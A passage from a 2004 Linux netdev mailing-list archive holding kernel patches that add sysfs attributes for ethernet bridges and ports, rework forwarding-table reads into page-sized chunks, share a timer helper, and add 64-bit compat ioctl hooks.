clock_t_to_jiffies(val); +} + +static ssize_t store_ageing_time(struct class_device *cd, const char *buf, + size_t len) +{ + return store_bridge_parm(cd, buf, len, set_ageing_time); +} + +static CLASS_DEVICE_ATTR(ageing_time, S_IRUGO | S_IWUSR, show_ageing_time, + store_ageing_time); +static ssize_t show_stp_state(struct class_device *cd, char *buf) +{ + struct net_bridge *br = to_bridge(cd); + return sprintf(buf, "%d\n", br->stp_enabled); +} + +static void set_stp_state(struct net_bridge *br, unsigned long val) +{ + br->stp_enabled = val; +} + +static ssize_t store_stp_state(struct class_device *cd, + const char *buf, size_t len) +{ + return store_bridge_parm(cd, buf, len, set_stp_state); +} + +static CLASS_DEVICE_ATTR(stp_state, S_IRUGO | S_IWUSR, show_stp_state, + store_stp_state); + +static ssize_t show_priority(struct class_device *cd, char *buf) +{ + struct net_bridge *br = to_bridge(cd); + return sprintf(buf, "%d\n", + (br->bridge_id.prio[0] << 8) | br->bridge_id.prio[1]); +} + +static void set_priority(struct net_bridge *br, unsigned long val) +{ + br_stp_set_bridge_priority(br, (u16) val); +} + +static ssize_t store_priority(struct class_device *cd, + const char *buf, size_t len) +{ + return store_bridge_parm(cd, buf, len, set_priority); +} +static CLASS_DEVICE_ATTR(priority, S_IRUGO | S_IWUSR, show_priority, + store_priority); + +static ssize_t show_root_id(struct class_device *cd, char *buf) +{ + return br_show_bridge_id(buf, &to_bridge(cd)->designated_root); +} +static CLASS_DEVICE_ATTR(root_id, S_IRUGO, show_root_id, NULL); + +static ssize_t show_bridge_id(struct class_device *cd, char *buf) +{ + return br_show_bridge_id(buf, &to_bridge(cd)->bridge_id); +} +static CLASS_DEVICE_ATTR(bridge_id, S_IRUGO, show_bridge_id, NULL); + +static ssize_t show_root_port(struct class_device *cd, char *buf) +{ + return sprintf(buf, "%d\n", to_bridge(cd)->root_port); +} +static CLASS_DEVICE_ATTR(root_port, S_IRUGO, show_root_port, NULL); + +static ssize_t show_root_path_cost(struct class_device *cd, char *buf) +{ + return sprintf(buf, "%d\n", to_bridge(cd)->root_path_cost); +} +static CLASS_DEVICE_ATTR(root_path_cost, S_IRUGO, show_root_path_cost, NULL); + +static ssize_t show_topology_change(struct class_device *cd, char *buf) +{ + return sprintf(buf, "%d\n", to_bridge(cd)->topology_change); +} +static CLASS_DEVICE_ATTR(topology_change, S_IRUGO, show_topology_change, NULL); + +static ssize_t show_topology_change_detected(struct class_device *cd, char *buf) +{ + struct net_bridge *br = to_bridge(cd); + return sprintf(buf, "%d\n", br->topology_change_detected); +} +static CLASS_DEVICE_ATTR(topology_change_detected, S_IRUGO, show_topology_change_detected, NULL); + +static ssize_t show_hello_timer(struct class_device *cd, char *buf) +{ + struct net_bridge *br = to_bridge(cd); + return sprintf(buf, "%ld\n", br_timer_value(&br->hello_timer)); +} +static CLASS_DEVICE_ATTR(hello_timer, S_IRUGO, show_hello_timer, NULL); + +static ssize_t show_tcn_timer(struct class_device *cd, char *buf) +{ + struct net_bridge *br = to_bridge(cd); + return sprintf(buf, "%ld\n", br_timer_value(&br->tcn_timer)); +} +static CLASS_DEVICE_ATTR(tcn_timer, S_IRUGO, show_tcn_timer, NULL); + +static ssize_t show_topology_change_timer(struct class_device *cd, char *buf) +{ + struct net_bridge *br = to_bridge(cd); + return sprintf(buf, "%ld\n", br_timer_value(&br->topology_change_timer)); +} +static CLASS_DEVICE_ATTR(topology_change_timer, S_IRUGO, show_topology_change_timer, NULL); + +static ssize_t show_gc_timer(struct class_device *cd, char *buf) +{ + struct net_bridge *br = to_bridge(cd); + return sprintf(buf, "%ld\n", br_timer_value(&br->gc_timer)); +} +static CLASS_DEVICE_ATTR(gc_timer, S_IRUGO, show_gc_timer, NULL); + +static struct attribute *bridge_attrs[] = { + &class_device_attr_forward_delay.attr, + &class_device_attr_hello_time.attr, + &class_device_attr_max_age.attr, + &class_device_attr_ageing_time.attr, + &class_device_attr_stp_state.attr, + &class_device_attr_priority.attr, + &class_device_attr_bridge_id.attr, + &class_device_attr_root_id.attr, + &class_device_attr_root_path_cost.attr, + &class_device_attr_root_port.attr, + &class_device_attr_topology_change.attr, + &class_device_attr_topology_change_detected.attr, + &class_device_attr_hello_timer.attr, + &class_device_attr_tcn_timer.attr, + &class_device_attr_topology_change_timer.attr, + &class_device_attr_gc_timer.attr, + NULL +}; + +static struct attribute_group bridge_group = { + .name = SYSFS_BRIDGE_ATTR, + .attrs = bridge_attrs, +}; + +/* + * Export the forwarding information table as a binary file + * The records are struct __fdb_entry. + * + * Returns the number of bytes read. + */ +static ssize_t brforward_read(struct kobject *kobj, char *buf, + loff_t off, size_t count) +{ + struct class_device *cdev = to_class_dev(kobj); + struct net_bridge *br = to_bridge(cdev); + int n; + + /* must read whole records */ + if (off % sizeof(struct __fdb_entry) != 0) + return -EINVAL; + + n = br_fdb_fillbuf(br, buf, + count / sizeof(struct __fdb_entry), + off / sizeof(struct __fdb_entry)); + + if (n > 0) + n *= sizeof(struct __fdb_entry); + + return n; +} + +static struct bin_attribute bridge_forward = { + .attr = { .name = SYSFS_BRIDGE_FDB, + .mode = S_IRUGO, + .owner = THIS_MODULE, }, + .read = brforward_read, +}; + + +/* + * This is a dummy kset so bridge objects don't cause + * hotplug events + */ +struct subsystem bridge_subsys = { + .kset = { .hotplug_ops = NULL }, +}; + +void br_sysfs_init(void) +{ + subsystem_register(&bridge_subsys); +} + +void br_sysfs_fini(void) +{ + subsystem_unregister(&bridge_subsys); +} + +/* + * Add entries in sysfs onto the existing network class device + * for the bridge. + * Adds a attribute group "bridge" containing tuning parameters. + * Binary attribute containing the forward table + * Sub directory to hold links to interfaces. + * + * Note: the ifobj exists only to be a subdirectory + * to hold links. The ifobj exists in same data structure + * as it's parent the bridge so reference counting works. + */ +int br_sysfs_addbr(struct net_device *dev) +{ + struct kobject *brobj = &dev->class_dev.kobj; + struct net_bridge *br = netdev_priv(dev); + int err; + + err = sysfs_create_group(brobj, &bridge_group); + if (err) { + pr_info("%s: can't create group %s/%s\n", + __FUNCTION__, dev->name, bridge_group.name); + goto out1; + } + + err = sysfs_create_bin_file(brobj, &bridge_forward); + if (err) { + pr_info("%s: can't create attribue file %s/%s\n", + __FUNCTION__, dev->name, bridge_forward.attr.name); + goto out2; + } + + + kobject_set_name(&br->ifobj, SYSFS_BRIDGE_PORT_SUBDIR); + br->ifobj.ktype = NULL; + br->ifobj.kset = &bridge_subsys.kset; + br->ifobj.parent = brobj; + + err = kobject_register(&br->ifobj); + if (err) { + pr_info("%s: can't add kobject (directory) %s/%s\n", + __FUNCTION__, dev->name, br->ifobj.name); + goto out3; + } + return 0; + out3: + sysfs_remove_bin_file(&dev->class_dev.kobj, &bridge_forward); + out2: + sysfs_remove_group(&dev->class_dev.kobj, &bridge_group); + out1: + return err; + +} + +void br_sysfs_delbr(struct net_device *dev) +{ + struct kobject *kobj = &dev->class_dev.kobj; + struct net_bridge *br = netdev_priv(dev); + + kobject_unregister(&br->ifobj); + sysfs_remove_bin_file(kobj, &bridge_forward); + sysfs_remove_group(kobj, &bridge_group); +} diff -Nru a/net/bridge/br_sysfs_if.c b/net/bridge/br_sysfs_if.c --- /dev/null Wed Dec 31 16:00:00 196900 +++ b/net/bridge/br_sysfs_if.c 2004-05-21 16:27:21 -07:00 @@ -0,0 +1,269 @@ +/* + * Sysfs attributes of bridge ports + * Linux ethernet bridge + * + * Authors: + * Stephen Hemminger + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +#include +#include +#include +#include +#include + +#include "br_private.h" + +struct brport_attribute { + struct attribute attr; + ssize_t (*show)(struct net_bridge_port *, char *); + ssize_t (*store)(struct net_bridge_port *, unsigned long); +}; + +#define BRPORT_ATTR(_name,_mode,_show,_store) \ +struct brport_attribute brport_attr_##_name = { \ + .attr = {.name = __stringify(_name), \ + .mode = _mode, \ + .owner = THIS_MODULE, }, \ + .show = _show, \ + .store = _store, \ +}; + +static ssize_t show_path_cost(struct net_bridge_port *p, char *buf) +{ + return sprintf(buf, "%d\n", p->path_cost); +} +static ssize_t store_path_cost(struct net_bridge_port *p, unsigned long v) +{ + br_stp_set_path_cost(p, v); + return 0; +} +static BRPORT_ATTR(path_cost, S_IRUGO | S_IWUSR, + show_path_cost, store_path_cost); + +static ssize_t show_priority(struct net_bridge_port *p, char *buf) +{ + return sprintf(buf, "%d\n", p->priority); +} +static ssize_t store_priority(struct net_bridge_port *p, unsigned long v) +{ + if (v >= (1<<(16-BR_PORT_BITS))) + return -ERANGE; + br_stp_set_port_priority(p, v); + return 0; +} +static BRPORT_ATTR(priority, S_IRUGO | S_IWUSR, + show_priority, store_priority); + +static ssize_t show_designated_root(struct net_bridge_port *p, char *buf) +{ + return br_show_bridge_id(buf, &p->designated_root); +} +static BRPORT_ATTR(designated_root, S_IRUGO, show_designated_root, NULL); + +static ssize_t show_designated_bridge(struct net_bridge_port *p, char *buf) +{ + return br_show_bridge_id(buf, &p->designated_bridge); +} +static BRPORT_ATTR(designated_bridge, S_IRUGO, show_designated_bridge, NULL); + +static ssize_t show_designated_port(struct net_bridge_port *p, char *buf) +{ + return sprintf(buf, "%d\n", p->designated_port); +} +static BRPORT_ATTR(designated_port, S_IRUGO, show_designated_port, NULL); + +static ssize_t show_designated_cost(struct net_bridge_port *p, char *buf) +{ + return sprintf(buf, "%d\n", p->designated_cost); +} +static BRPORT_ATTR(designated_cost, S_IRUGO, show_designated_cost, NULL); + +static ssize_t show_port_id(struct net_bridge_port *p, char *buf) +{ + return sprintf(buf, "0x%x\n", p->port_id); +} +static BRPORT_ATTR(port_id, S_IRUGO, show_port_id, NULL); + +static ssize_t show_port_no(struct net_bridge_port *p, char *buf) +{ + return sprintf(buf, "0x%x\n", p->port_no); +} + +static BRPORT_ATTR(port_no, S_IRUGO, show_port_no, NULL); + +static ssize_t show_change_ack(struct net_bridge_port *p, char *buf) +{ + return sprintf(buf, "%d\n", p->topology_change_ack); +} +static BRPORT_ATTR(change_ack, S_IRUGO, show_change_ack, NULL); + +static ssize_t show_config_pending(struct net_bridge_port *p, char *buf) +{ + return sprintf(buf, "%d\n", p->config_pending); +} +static BRPORT_ATTR(config_pending, S_IRUGO, show_config_pending, NULL); + +static ssize_t show_port_state(struct net_bridge_port *p, char *buf) +{ + return sprintf(buf, "%d\n", p->state); +} +static BRPORT_ATTR(state, S_IRUGO, show_port_state, NULL); + +static ssize_t show_message_age_timer(struct net_bridge_port *p, + char *buf) +{ + return sprintf(buf, "%ld\n", br_timer_value(&p->message_age_timer)); +} +static BRPORT_ATTR(message_age_timer, S_IRUGO, show_message_age_timer, NULL); + +static ssize_t show_forward_delay_timer(struct net_bridge_port *p, + char *buf) +{ + return sprintf(buf, "%ld\n", br_timer_value(&p->forward_delay_timer)); +} +static BRPORT_ATTR(forward_delay_timer, S_IRUGO, show_forward_delay_timer, NULL); + +static ssize_t show_hold_timer(struct net_bridge_port *p, + char *buf) +{ + return sprintf(buf, "%ld\n", br_timer_value(&p->hold_timer)); +} +static BRPORT_ATTR(hold_timer, S_IRUGO, show_hold_timer, NULL); + +static struct brport_attribute *brport_attrs[] = { + &brport_attr_path_cost, + &brport_attr_priority, + &brport_attr_port_id, + &brport_attr_port_no, + &brport_attr_designated_root, + &brport_attr_designated_bridge, + &brport_attr_designated_port, + &brport_attr_designated_cost, + &brport_attr_state, + &brport_attr_change_ack, + &brport_attr_config_pending, + &brport_attr_message_age_timer, + &brport_attr_forward_delay_timer, + &brport_attr_hold_timer, + NULL +}; + +#define to_brport_attr(_at) container_of(_at, struct brport_attribute, attr) +#define to_brport(obj) container_of(obj, struct net_bridge_port, kobj) + +static ssize_t brport_show(struct kobject * kobj, + struct attribute * attr, char * buf) +{ + struct brport_attribute * brport_attr = to_brport_attr(attr); + struct net_bridge_port * p = to_brport(kobj); + + return brport_attr->show(p, buf); +} + +static ssize_t brport_store(struct kobject * kobj, + struct attribute * attr, + const char * buf, size_t count) +{ + struct brport_attribute * brport_attr = to_brport_attr(attr); + struct net_bridge_port * p = to_brport(kobj); + ssize_t ret = -EINVAL; + char *endp; + unsigned long val; + + if (!capable(CAP_NET_ADMIN)) + return -EPERM; + + val = simple_strtoul(buf, &endp, 0); + if (endp != buf) { + rtnl_lock(); + if (p->dev && p->br && brport_attr->store) { + spin_lock_bh(&p->br->lock); + ret = brport_attr->store(p, val); + spin_unlock_bh(&p->br->lock); + if (ret == 0) + ret = count; + } + rtnl_unlock(); + } + return ret; +} + +/* called from kobject_put when port ref count goes to zero. */ +static void brport_release(struct kobject *kobj) +{ + kfree(container_of(kobj, struct net_bridge_port, kobj)); +} + +static struct sysfs_ops brport_sysfs_ops = { + .show = brport_show, + .store = brport_store, +}; + +static struct kobj_type brport_ktype = { + .sysfs_ops = &brport_sysfs_ops, + .release = brport_release, +}; + + +/* + * Add sysfs entries to ethernet device added to a bridge. + * Creates a brport subdirectory with bridge attributes. + * Puts symlink in bridge's brport subdirectory + */ +int br_sysfs_addif(struct net_bridge_port *p) +{ + struct net_bridge *br = p->br; + struct brport_attribute **a; + int err; + + ASSERT_RTNL(); + + kobject_set_name(&p->kobj, SYSFS_BRIDGE_PORT_ATTR); + p->kobj.ktype = &brport_ktype; + p->kobj.parent = &(p->dev->class_dev.kobj); + p->kobj.kset = &bridge_subsys.kset; + + err = kobject_add(&p->kobj); + if(err) + goto out1; + + err = sysfs_create_link(&p->kobj, &br->dev->class_dev.kobj, + SYSFS_BRIDGE_PORT_LINK); + if (err) + goto out2; + + for (a = brport_attrs; *a; ++a) { + err = sysfs_create_file(&p->kobj, &((*a)->attr)); + if (err) + goto out2; + } + + err = sysfs_create_link(&br->ifobj, &p->kobj, p->dev->name); + if (err) + goto out2; + + return 0; + out2: + kobject_del(&p->kobj); + out1: + return err; +} + +void br_sysfs_removeif(struct net_bridge_port *p) +{ + pr_debug("br_sysfs_removeif\n"); + sysfs_remove_link(&p->br->ifobj, p->dev->name); + kobject_del(&p->kobj); +} + +void br_sysfs_freeif(struct net_bridge_port *p) +{ + pr_debug("br_sysfs_freeif\n"); + kobject_put(&p->kobj); +} From shemminger@osdl.org Fri May 21 16:39:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 16:39:37 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LNdLKO008489 for ; Fri, 21 May 2004 16:39:22 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4LNd7r27575; Fri, 21 May 2004 16:39:07 -0700 Date: Fri, 21 May 2004 16:39:07 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH] (6/11) bridge -- read forwarding table chunk at a time. Message-Id: <20040521163907.725b5be5@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5232 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Change how the read of forwarding table works. Instead of copying entries to user one at a time, use an intermediate kernel buffer and do up to a page at a chunk. This gets rid of some awkward code dealing with entries getting deleted during the copy. And allows same function to be used by later sysfs hook. diff -Nru a/net/bridge/br_fdb.c b/net/bridge/br_fdb.c --- a/net/bridge/br_fdb.c 2004-05-20 09:59:49 -07:00 +++ b/net/bridge/br_fdb.c 2004-05-20 09:59:49 -07:00 @@ -16,11 +16,10 @@ #include #include #include -#include #include +#include #include #include -#include #include "br_private.h" static kmem_cache_t *br_fdb_cache; @@ -54,17 +53,6 @@ && time_before_eq(fdb->ageing_timer + hold_time(br), jiffies); } -static inline void copy_fdb(struct __fdb_entry *ent, - const struct net_bridge_fdb_entry *f) -{ - memset(ent, 0, sizeof(struct __fdb_entry)); - memcpy(ent->mac_addr, f->addr.addr, ETH_ALEN); - ent->port_no = f->dst?f->dst->port_no:0; - ent->is_local = f->is_local; - ent->ageing_timer_value = f->is_static ? 0 - : jiffies_to_clock_t(jiffies - f->ageing_timer); -} - static __inline__ int br_mac_hash(const unsigned char *mac) { unsigned long x; @@ -214,68 +202,48 @@ kmem_cache_free(br_fdb_cache, ent); } -int br_fdb_get_entries(struct net_bridge *br, - unsigned char *_buf, - int maxnum, - int offset) +/* + * Fill buffer with forwarding table records in + * the API format. + */ +int br_fdb_fillbuf(struct net_bridge *br, void *buf, + unsigned long maxnum, unsigned long skip) { - int i; - int num; - struct __fdb_entry *walk; + struct __fdb_entry *fe = buf; + int i, num = 0; + struct hlist_node *h; + struct net_bridge_fdb_entry *f; - num = 0; - walk = (struct __fdb_entry *)_buf; + memset(buf, 0, maxnum*sizeof(struct __fdb_entry)); read_lock_bh(&br->hash_lock); - for (i=0;ihash[i]) { - struct net_bridge_fdb_entry *f - = hlist_entry(h, struct net_bridge_fdb_entry, hlist); - struct __fdb_entry ent; - + for (i = 0; i < BR_HASH_SIZE; i++) { + hlist_for_each_entry(f, h, &br->hash[i], hlist) { if (num >= maxnum) goto out; if (has_expired(br, f)) continue; - if (offset) { - offset--; + if (skip) { + --skip; continue; } - copy_fdb(&ent, f); - - atomic_inc(&f->use_count); - read_unlock_bh(&br->hash_lock); - - if (copy_to_user(walk, &ent, sizeof(struct __fdb_entry))) - return -EFAULT; - - read_lock_bh(&br->hash_lock); - - /* entry was deleted during copy_to_user */ - if (atomic_dec_and_test(&f->use_count)) { - kmem_cache_free(br_fdb_cache, f); - num = -EAGAIN; - goto out; - } - - /* entry changed address hash while copying */ - if (br_mac_hash(f->addr.addr) != i) { - num = -EAGAIN; - goto out; - } - - num++; - walk++; + /* convert from internal format to API */ + memcpy(fe->mac_addr, f->addr.addr, ETH_ALEN); + fe->port_no = f->dst->port_no; + fe->is_local = f->is_local; + if (!f->is_static) + fe->ageing_timer_value = jiffies_to_clock_t(jiffies - f->ageing_timer); + ++fe; + ++num; } } out: read_unlock_bh(&br->hash_lock); + return num; } diff -Nru a/net/bridge/br_ioctl.c b/net/bridge/br_ioctl.c --- a/net/bridge/br_ioctl.c 2004-05-20 09:59:49 -07:00 +++ b/net/bridge/br_ioctl.c 2004-05-20 09:59:49 -07:00 @@ -52,6 +52,39 @@ } } +/* + * Format up to a page worth of forwarding table entries + * userbuf -- where to copy result + * maxnum -- maximum number of entries desired + * (limited to a page for sanity) + * offset -- number of records to skip + */ +static int get_fdb_entries(struct net_bridge *br, void __user *userbuf, + unsigned long maxnum, unsigned long offset) +{ + int num; + void *buf; + size_t size = maxnum * sizeof(struct __fdb_entry); + + if (size > PAGE_SIZE) { + size = PAGE_SIZE; + maxnum = PAGE_SIZE/sizeof(struct __fdb_entry); + } + + buf = kmalloc(size, GFP_USER); + if (!buf) + return -ENOMEM; + + num = br_fdb_fillbuf(br, buf, maxnum, offset); + if (num > 0) { + if (copy_to_user(userbuf, buf, num*sizeof(struct __fdb_entry))) + num = -EFAULT; + } + kfree(buf); + + return num; +} + int br_dev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct net_bridge *br = netdev_priv(dev); @@ -270,7 +303,8 @@ } case BRCTL_GET_FDB_ENTRIES: - return br_fdb_get_entries(br, (void *)args[1], args[2], args[3]); + return get_fdb_entries(br, (void __user *)args[1], + args[2], args[3]); } return -EOPNOTSUPP; diff -Nru a/net/bridge/br_private.h b/net/bridge/br_private.h --- a/net/bridge/br_private.h 2004-05-20 09:59:49 -07:00 +++ b/net/bridge/br_private.h 2004-05-20 09:59:49 -07:00 @@ -135,10 +135,8 @@ extern struct net_bridge_fdb_entry *br_fdb_get(struct net_bridge *br, unsigned char *addr); extern void br_fdb_put(struct net_bridge_fdb_entry *ent); -extern int br_fdb_get_entries(struct net_bridge *br, - unsigned char *_buf, - int maxnum, - int offset); +extern int br_fdb_fillbuf(struct net_bridge *br, void *buf, + unsigned long count, unsigned long off); extern int br_fdb_insert(struct net_bridge *br, struct net_bridge_port *source, const unsigned char *addr, From shemminger@osdl.org Fri May 21 16:39:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 16:39:29 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LNdPKO008491 for ; Fri, 21 May 2004 16:39:25 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4LNdCr27585; Fri, 21 May 2004 16:39:12 -0700 Date: Fri, 21 May 2004 16:39:11 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH] (7/11) bridge -- expose timer_residue function for use by sysfs Message-Id: <20040521163911.10e1a07d@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5231 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Move the local function timer_residue to br_timer_value so it can be used by both ioctl and sysfs code. diff -Nru a/net/bridge/br_ioctl.c b/net/bridge/br_ioctl.c --- a/net/bridge/br_ioctl.c 2004-05-20 10:22:21 -07:00 +++ b/net/bridge/br_ioctl.c 2004-05-20 10:22:21 -07:00 @@ -20,13 +20,6 @@ #include #include "br_private.h" -/* Report time remaining in user HZ */ -static unsigned long timer_residue(const struct timer_list *timer) -{ - return timer_pending(timer) - ? jiffies_to_clock_t(timer->expires - jiffies) : 0; -} - /* called with RTNL */ static int get_bridge_ifindices(int *indices, int num) { @@ -139,10 +132,10 @@ b.root_port = br->root_port; b.stp_enabled = br->stp_enabled; b.ageing_time = jiffies_to_clock_t(br->ageing_time); - b.hello_timer_value = timer_residue(&br->hello_timer); - b.tcn_timer_value = timer_residue(&br->tcn_timer); - b.topology_change_timer_value = timer_residue(&br->topology_change_timer); - b.gc_timer_value = timer_residue(&br->gc_timer); + b.hello_timer_value = br_timer_value(&br->hello_timer); + b.tcn_timer_value = br_timer_value(&br->tcn_timer); + b.topology_change_timer_value = br_timer_value(&br->topology_change_timer); + b.gc_timer_value = br_timer_value(&br->gc_timer); rcu_read_unlock(); if (copy_to_user((void *)args[1], &b, sizeof(b))) @@ -237,9 +230,9 @@ p.state = pt->state; p.top_change_ack = pt->topology_change_ack; p.config_pending = pt->config_pending; - p.message_age_timer_value = timer_residue(&pt->message_age_timer); - p.forward_delay_timer_value = timer_residue(&pt->forward_delay_timer); - p.hold_timer_value = timer_residue(&pt->hold_timer); + p.message_age_timer_value = br_timer_value(&pt->message_age_timer); + p.forward_delay_timer_value = br_timer_value(&pt->forward_delay_timer); + p.hold_timer_value = br_timer_value(&pt->hold_timer); rcu_read_unlock(); diff -Nru a/net/bridge/br_private.h b/net/bridge/br_private.h --- a/net/bridge/br_private.h 2004-05-20 10:22:21 -07:00 +++ b/net/bridge/br_private.h 2004-05-20 10:22:21 -07:00 @@ -208,5 +208,6 @@ /* br_stp_timer.c */ extern void br_stp_timer_init(struct net_bridge *br); extern void br_stp_port_timer_init(struct net_bridge_port *p); +extern unsigned long br_timer_value(const struct timer_list *timer); #endif diff -Nru a/net/bridge/br_stp_timer.c b/net/bridge/br_stp_timer.c --- a/net/bridge/br_stp_timer.c 2004-05-20 10:22:21 -07:00 +++ b/net/bridge/br_stp_timer.c 2004-05-20 10:22:21 -07:00 @@ -14,6 +14,7 @@ */ #include +#include #include #include "br_private.h" @@ -178,3 +179,10 @@ br_timer_init(&p->hold_timer, br_hold_timer_expired, (unsigned long) p); } + +/* Report ticks left (in USER_HZ) used for API */ +unsigned long br_timer_value(const struct timer_list *timer) +{ + return timer_pending(timer) + ? jiffies_to_clock_t(timer->expires - jiffies) : 0; +} From shemminger@osdl.org Fri May 21 16:39:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 16:39:52 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LNdXKO008504 for ; Fri, 21 May 2004 16:39:33 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4LNdLr27615; Fri, 21 May 2004 16:39:21 -0700 Date: Fri, 21 May 2004 16:39:20 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH] (10/11) bridge -- compat hooks for new-ioctl interface Message-Id: <20040521163920.641635c1@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5233 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Replacement 64 bit compatibility code for the new ioctl's. The new ioctl's all pass through clean, but for the old style ioctl's it uses the mis-feature of the earlier bridge-utils that they check the API version. So if an old 32bit version of brctl is run on a 64bit platform it will report bridge utilities not compatible with kernel version Tested on Itanium 1; but should solve issue for sparc, ppc, and x86_64 diff -Nru a/fs/compat_ioctl.c b/fs/compat_ioctl.c --- a/fs/compat_ioctl.c 2004-05-20 14:44:03 -07:00 +++ b/fs/compat_ioctl.c 2004-05-20 14:44:03 -07:00 @@ -20,6 +20,7 @@ #include #include #include +#include #include #include #include @@ -3072,18 +3073,19 @@ return sys_ioctl(fd, cmd, (unsigned long) iwr); } -/* Emulate old style bridge ioctls */ -static int do_bridge_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg) +/* Since old style bridge ioctl's endup using SIOCDEVPRIVATE + * for some operations; this forces use of the newer bridge-utils that + * use compatiable ioctls + */ +static int old_bridge_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg) { u32 tmp; - unsigned long *argbuf = compat_alloc_user_space(3 * sizeof(unsigned long)); - int i; - for (i = 0; i < 3; i++) { - if (get_user(tmp, i + ((u32 *)arg)) || - put_user(tmp, i + argbuf)) - return -EFAULT; - } - return sys_ioctl(fd, cmd, (unsigned long)argbuf); + + if (get_user(tmp, (u32 *) arg)) + return -EFAULT; + if (tmp == BRCTL_GET_VERSION) + return BRCTL_VERSION + 1; + return -EINVAL; } #undef CODE @@ -3133,6 +3135,8 @@ HANDLE_IOCTL(SIOCBONDCHANGEACTIVE, bond_ioctl) HANDLE_IOCTL(SIOCADDRT, routing_ioctl) HANDLE_IOCTL(SIOCDELRT, routing_ioctl) +HANDLE_IOCTL(SIOCBRADDIF, dev_ifsioc) +HANDLE_IOCTL(SIOCBRDELIF, dev_ifsioc) /* Note SIOCRTMSG is no longer, so this is safe and * the user would have seen just an -EINVAL anyways. */ HANDLE_IOCTL(SIOCRTMSG, ret_einval) HANDLE_IOCTL(SIOCGSTAMP, do_siocgstamp) @@ -3263,8 +3267,8 @@ HANDLE_IOCTL(SIOCGIWNICKN, do_wireless_ioctl) HANDLE_IOCTL(SIOCSIWENCODE, do_wireless_ioctl) HANDLE_IOCTL(SIOCGIWENCODE, do_wireless_ioctl) -HANDLE_IOCTL(SIOCSIFBR, do_bridge_ioctl) -HANDLE_IOCTL(SIOCGIFBR, do_bridge_ioctl) +HANDLE_IOCTL(SIOCSIFBR, old_bridge_ioctl) +HANDLE_IOCTL(SIOCGIFBR, old_bridge_ioctl) #undef DECLARES #endif diff -Nru a/include/linux/compat_ioctl.h b/include/linux/compat_ioctl.h --- a/include/linux/compat_ioctl.h 2004-05-20 14:44:03 -07:00 +++ b/include/linux/compat_ioctl.h 2004-05-20 14:44:03 -07:00 @@ -275,6 +275,8 @@ COMPATIBLE_IOCTL(SIOCSMIIREG) COMPATIBLE_IOCTL(SIOCGIFVLAN) COMPATIBLE_IOCTL(SIOCSIFVLAN) +COMPATIBLE_IOCTL(SIOCBRADDBR) +COMPATIBLE_IOCTL(SIOCBRDELBR) /* SG stuff */ COMPATIBLE_IOCTL(SG_SET_TIMEOUT) COMPATIBLE_IOCTL(SG_GET_TIMEOUT) From MAILER-DAEMON@oss.sgi.com Fri May 21 23:59:17 2004 Received: with ECARTIS (v1.0.0; list 